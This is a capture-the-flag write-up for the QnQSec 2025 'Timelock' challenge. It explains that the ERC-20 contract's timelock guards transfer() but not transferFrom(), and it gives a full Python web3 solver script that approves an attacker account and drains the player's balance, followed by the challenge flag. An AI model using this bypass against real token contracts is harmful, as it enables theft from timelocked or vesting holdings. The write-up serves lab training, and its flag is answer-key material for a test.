Timelock Writeup - QnQSec 2025
Summary:
Vulnerability: Timelock only blocks transfer for the player via a modifier, but not transferFrom.
Technique: Have the PLAYER approve an attacker for the full balance, then call transferFrom to drain the tokens; call solve() once PLAYER balance is zero.
Result: Drain tokens before the timelock expires and complete the challenge.
Quick Recon
Files: Timelock.sol (inherits ERC20) and Challenge.sol (checks CONTRACT.balanceOf(PLAYER) == 0 inside solve()).
CTF workflow: You get environment info such as:
RPC_URL=http://...
PLAYER_PK=0x...
CHALLENGE_ADDR=0x...
Relevant functions:
Timelock.transfer(address,uint256)— overridden and protected bylockTokensmodifier checkingblock.timestamp > timeLockwhenmsg.sender == playerapprove(address,uint256)andtransferFrom(address,address,uint256)— standard ERC-20, not overriddenChallenge.solve()— requiresCONTRACT.balanceOf(PLAYER) == 0
Endpoints / info example:
download Timelock.sol
nc <ctf-host> <port>
Exploit
Use the following solver script.
.env (example)
RPC_URL=http://instance/main
PLAYER_PK=0x<player_private_key>
CHALLENGE_ADDR=0x<challenge_contract_address>
exploit_naughtcoin.py
import os, time
from decimal import Decimal
from dotenv import load_dotenv
from web3 import Web3
from eth_account import Account
load_dotenv()
RPC = os.getenv("RPC_URL")
PLAYER_PK = os.getenv("PLAYER_PK")
CHALLENGE = os.getenv("CHALLENGE_ADDR")
if not all([RPC, PLAYER_PK, CHALLENGE]):
raise SystemExit("Set RPC_URL, PLAYER_PK, CHALLENGE_ADDR in .env")
w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout":30}))
if not w3.is_connected():
raise SystemExit("Cannot connect to RPC")
player = Account.from_key(PLAYER_PK)
# Minimal ABIs
challenge_abi = [
{"inputs":[],"name":"CONTRACT","outputs":[{"type":"address","name":""}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
erc20_abi = [
{"name":"approve","type":"function","inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
{"name":"transferFrom","type":"function","inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
{"name":"balanceOf","type":"function","inputs":[{"name":"owner","type":"address"}],"outputs":[{"type":"uint256","name":""}],"stateMutability":"view"},
{"name":"decimals","type":"function","inputs":[],"outputs":[{"type":"uint8","name":""}],"stateMutability":"view"}
]
def to_ck(a):
return Web3.to_checksum_address(a) if hasattr(Web3, "to_checksum_address") else Web3.toChecksumAddress(a)
def sign_send(tx, signer):
signed = signer.sign_transaction(tx) if hasattr(signer, "sign_transaction") else Account.sign_transaction(tx, signer)
raw = getattr(signed, "rawTransaction", None) or getattr(signed, "raw_transaction", None)
txh = w3.eth.send_raw_transaction(raw)
r = w3.eth.wait_for_transaction_receipt(txh, timeout=120)
return r
challenge = w3.eth.contract(to_ck(CHALLENGE), abi=challenge_abi)
token_addr = to_ck(challenge.functions.CONTRACT().call())
token = w3.eth.contract(token_addr, abi=erc20_abi)
decimals = token.functions.decimals().call()
bal = token.functions.balanceOf(player.address).call()
print("PLAYER:", player.address)
print("Token balance:", Decimal(bal) / (10**decimals))
chain = w3.eth.chain_id
gasp = w3.eth.gas_price
# create attacker and fund it from PLAYER
att = Account.create()
print("ATTACKER:", att.address)
fund = w3.to_wei(0.05, "ether")
nonce = w3.eth.get_transaction_count(player.address)
tx = {"to": att.address, "value": fund, "gas":21000, "gasPrice":gasp, "nonce":nonce, "chainId":chain}
r = sign_send(tx, PLAYER_PK); print("fund tx:", r.transactionHash.hex())
time.sleep(1)
# PLAYER approves attacker
nonce = w3.eth.get_transaction_count(player.address)
builder = "build_transaction" if hasattr(token.functions.approve(att.address, bal), "build_transaction") else "buildTransaction"
txa = getattr(token.functions.approve(att.address, bal), builder)({
"chainId": chain, "from": player.address, "nonce": nonce, "gas":100000, "gasPrice":gasp
})
r = sign_send(txa, PLAYER_PK); print("approve tx:", r.transactionHash.hex()); time.sleep(1)
# ATTACKER does transferFrom to drain
nonce_att = w3.eth.get_transaction_count(att.address)
builder_tf = "build_transaction" if hasattr(token.functions.transferFrom(player.address, att.address, bal), "build_transaction") else "buildTransaction"
tx_tf = getattr(token.functions.transferFrom(player.address, att.address, bal), builder_tf)({
"chainId": chain, "from": att.address, "nonce": nonce_att, "gas":200000, "gasPrice":gasp
})
r = sign_send(tx_tf, att); print("transferFrom tx:", r.transactionHash.hex()); time.sleep(1)
print("Player token balance after:", token.functions.balanceOf(player.address).call())
# call solve()
builder_s = "build_transaction" if hasattr(challenge.functions.solve(), "build_transaction") else "buildTransaction"
txs = getattr(challenge.functions.solve(), builder_s)({
"chainId": chain, "from": att.address, "nonce": w3.eth.get_transaction_count(att.address), "gas":100000, "gasPrice":gasp
})
r = sign_send(txs, att); print("solve tx:", r.transactionHash.hex())
print("Done. If isSolved, go back to nc and choose option 3 to get the flag.")
Run
python exploit_naughtcoin.pyWhat it does (one line):
PLAYER approves attacker for full token balance → attacker drains via transferFrom → attacker calls solve().
After running the script, return to the nc session and choose option 3 to retrieve the flag if isSolved() is true.
FLAG
QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}